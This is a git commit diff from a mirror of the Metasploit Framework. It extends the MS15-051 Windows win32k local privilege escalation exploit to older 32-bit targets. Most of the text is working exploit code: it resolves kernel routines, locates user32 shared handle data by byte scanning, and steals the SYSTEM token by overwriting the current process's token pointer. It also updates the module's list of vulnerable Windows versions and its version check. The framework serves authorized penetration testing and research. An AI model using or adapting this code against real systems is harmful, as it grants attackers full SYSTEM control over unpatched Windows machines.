1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-02 07:40:19 +02:00

Support older targets x86 for MS15-051

This commit is contained in:
Spencer McIntyre 2015-06-24 09:18:59 -04:00 committed by OJ
parent e3d1a34c66
commit 2206a6af73
2 changed files with 87 additions and 68 deletions

View File

@ -35,7 +35,14 @@
#define HMUNIQSHIFT 16
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
_Inout_ PVOID Process
);
typedef PVOID PHEAD;
@ -65,19 +72,13 @@ typedef struct _SHAREDINFO {
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL;
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
pUser32_ClientCopyImage g_originalCCI = NULL;
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
int g_shellCalled = 0;
DWORD g_OurPID;
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
_Inout_ PVOID Process
);
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
NTSTATUS NTAPI RtlGetVersion(
@ -230,17 +231,7 @@ BOOLEAN supIsProcess32bit(
return FALSE;
}
/*
* GetPsLookupProcessByProcessId
*
* Purpose:
*
* Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
*
*/
ULONG_PTR GetPsLookupProcessByProcessId(
VOID
)
BOOL GetShellCodeFunctions(VOID)
{
BOOL cond = FALSE;
ULONG rl = 0;
@ -248,7 +239,7 @@ ULONG_PTR GetPsLookupProcessByProcessId(
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
PRTL_PROCESS_MODULES miSpace = NULL;
CHAR KernelFullPathName[MAX_PATH * 2];
BOOL bSuccess = FALSE;
do {
@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId(
break;
}
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
bSuccess = TRUE;
} while (cond);
if (MappedKernel != NULL) {
@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId(
HeapFree(GetProcessHeap(), 0, miSpace);
}
return FuncAddress;
return bSuccess;
}
PSHAREDINFO GetSharedInfo(VOID) {
HMODULE huser32;
PSHAREDINFO pSharedInfo = NULL;
DWORD dwCursor = 0;
huser32 = GetModuleHandle(TEXT("user32.dll"));
if (huser32 == NULL)
return pSharedInfo;
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
#ifndef _M_X64
PVOID pUser32InitializeImmEntryTable;
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
if (pSharedInfo != NULL)
return pSharedInfo;
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
continue;
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
continue;
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
}
#endif
return pSharedInfo;
}
/*
@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId(
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
*
*/
HWND GetFirstThreadHWND(
VOID
)
HWND GetFirstThreadHWND(VOID)
{
PSHAREDINFO pse;
HMODULE huser32;
PHANDLEENTRY List;
ULONG_PTR c, k;
huser32 = GetModuleHandle(TEXT("user32.dll"));
if (huser32 == NULL)
return 0;
pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
if (pse == NULL)
pse = GetSharedInfo();
if (pse == NULL) {
return 0;
}
List = pse->aheList;
k = pse->psi->cHandleEntries;
if (pse->HeEntrySize != sizeof(HANDLEENTRY))
return 0;
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
//return 0;
//
// Locate, convert and return hwnd for current thread.
@ -334,12 +351,11 @@ HWND GetFirstThreadHWND(
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
}
return 0;
}
// Search the specified data structure for a member with CurrentValue.
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
DWORD_PTR dwIndex, dwMask;
@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue,
* Copy system token to current process object.
*
*/
NTSTATUS NTAPI StealProcessToken(
VOID
)
NTSTATUS NTAPI StealProcessToken(VOID)
{
NTSTATUS Status;
PVOID CurrentProcess = NULL;
PVOID SystemProcess = NULL;
void *pMyProcessInfo = NULL;
void *pSystemInfo = NULL;
PACCESS_TOKEN systemToken;
PACCESS_TOKEN targetToken;
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
if (NT_SUCCESS(Status)) {
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
if (NT_SUCCESS(Status)) {
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
// Find the token in the target process, and replace with the system token.
find_and_replace_member((PDWORD_PTR)CurrentProcess,
(DWORD_PTR)targetToken,
(DWORD_PTR)systemToken,
0x200);
}
}
return Status;
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
(DWORD_PTR)targetToken,
(DWORD_PTR)systemToken,
0x200);
return 0;
}
@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload)
}
g_OurPID = GetCurrentProcessId();
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
GetShellCodeFunctions();
if (g_PsLookupProcessByProcessIdPtr == NULL) {
if (g_pPsLookupProcessByProcessId == NULL) {
return;
}

View File

@ -26,9 +26,10 @@ class Metasploit3 < Msf::Exploit::Local
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves' # msf module
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves', # msf module
'Spencer McIntyre' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
@ -57,10 +58,15 @@ class Metasploit3 < Msf::Exploit::Local
end
def check
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
# Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Unknown
@ -76,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build == 7601
return Exploit::CheckCode::Safe if build > 7601
return Exploit::CheckCode::Detected
end
@ -86,7 +92,8 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end